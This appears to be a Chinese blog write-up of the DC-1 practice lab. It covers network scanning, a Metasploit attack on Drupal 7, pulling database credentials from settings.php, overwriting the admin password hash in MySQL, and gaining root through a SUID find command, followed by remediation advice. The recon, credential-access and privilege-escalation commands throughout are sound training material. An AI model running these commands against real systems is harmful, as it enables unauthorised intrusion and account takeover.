DC-1渗透测试复现

DC-1渗透测试复现

目的:

获取最高权限以及5个flag

过程:

信息打点-cms框架漏洞利用-数据库-登入admin-提权

环境:

攻击机:kali(192.168.85.136)

靶机:DC_1(192.168.85.131)

复现:

一.信息收集

扫描同网段存活的主机

nmap -sP 192.168.85.0/24
或者:
arp-scan -l

发现 192.168.85.131主机存活 进行 扫描 发现 80 (网页) 22 (ssh)连接 111端口(sun),

使用Awvs进行网页扫描 得到服务器和脚本语言

使用 whatweb进行扫描发现 该cms为 Drupal 7 

 然后进行web网页目录的扫描,发现没有啥可利用的

总结:

1.目标IP为192.168.85.131

2. 目标开启的端口有80 22 111端口 其中80端口为一个网页登入页面,22可使用于ssh连接,111带端口也有漏洞利用,web目录扫描有个robots.txt感觉无利用价值

3.目标IP系统为Unix系统,且 服务器为阿帕奇,cms为Drupal 7  脚本语言为PHP等

二 .寻找漏洞 

能够利用的漏洞 先从80端口网页开始,弱口令都登入不了 且登入错误次数过多会进行IP的登入限制,注入也试了无果,尝试22端口进行ssh连接 由于不知道对方用户的用户名 密码 尝试一些基本的弱密码登入无果,然后开始就看框架 阿帕奇的框架漏洞很多,我们先看cms的Drupal 7漏洞利用

发现 可以利用msf进行远程登入

三.漏洞利用

启动msf搜寻Drupal利用模块

找paylaod 

 配置攻击

获得交互 

四.目标主机的信息收集 

发现flag1

Every good CMS needs a config file - and so do you.

说的是就让你找CMS的config 配置文件

或者模糊查询

cat `find / -name settings.php` 

得到flag2 

* flag2
 * Brute force and dictionary attacks aren't the
暴力破解和字典攻击不是
 * only ways to gain access (and you WILL need access).
只有获得访问权限的方法(你将需要访问权限)。
 * What can you do with these credentials?
你能用这些证书做什么?

还有数据库的信息、得到数据库的账号密码以及当前库名

连接mysql 进入数据库一查究竟

mysql -udbuser -pR0ck3t

发现 users表

可以看密码了 

一看就是加密后的形式 有点像base+hash

那就去寻找加密的文件

在/script找到了 password-hash.sh文件

打开看看

$passwords = array();

// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
  switch ($param) {
    case '--root':
      // Change the working directory.
      $path = array_shift($_SERVER['argv']);
      if (is_dir($path)) {
        chdir($path);
      }
      break;
    default:
      // Add a password to the list to be processed.
      $passwords[] = $param;
      break;
  }
}

define('DRUPAL_ROOT', getcwd());

include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';

foreach ($passwords as $password) {
  print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

那还不简单吗  自己设置一个自己想要的密码就行了,然后去数据库替换admin的密码不就好了 

 得到wenda加密后的密码 

$S$DnoWasVbfj0/V7Dzv9Ma1Ru.6Y1YqHe4n6PCO9zwI1Rg5/fvjstK

那就回数据库更新密码了

update users set pass = "$S$DnoWasVbfj0/V7Dzv9Ma1Ru.6Y1YqHe4n6PCO9zwI1Rg5/fvjstK" where name = 'admin' ;

 然后登入网页 寻找到了flag3

特殊的 PERMS 将帮助找到密码 - 但您需要执行该命令才能弄清楚如何获取shadow中的内容

那就去看shadow和passwd文件呗 ,发现了flag4 以及文件的路径/home/flag4

我们访问/home/flag4 终于扎到了flag4

Can you use this same method to find or access the flag in root?
在root目录下找flag
Probably. But perhaps it's not that easy.  Or maybe it is?
可能。但也许没那么容易。也许是这样?
五.提权 

访问无权限

终于到了提权的环节了 ,直接find寻找具有suid的指令试试

find / -perm -u=s -type f 2>/dev/null       //查看具有suid权限的命令

find / -perm -4000 2>/dev/null         //这个也可以

发现  find可以使用

find拥有suid权限位,尝试以find命令执行whoami 

find `which find` -exec whoami \;

ok啊 root用户 

直接变成root用户吧 

find / -exec "/bin/bash" -p \; 

然后找到了最后一个flag 

收工 

六.修复

1.关闭不必要的22,111危险端口,或者更换端口号

2.将Drupal更新最新版

3.不能随意泄露敏感文件信息

4.取消一些能够提权的函数权限

5.数据库的账号密码不应该以明文形式存入到配置信息中,将数据库密码存储在环境变量中,而不是直接在代码中

  • 24
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值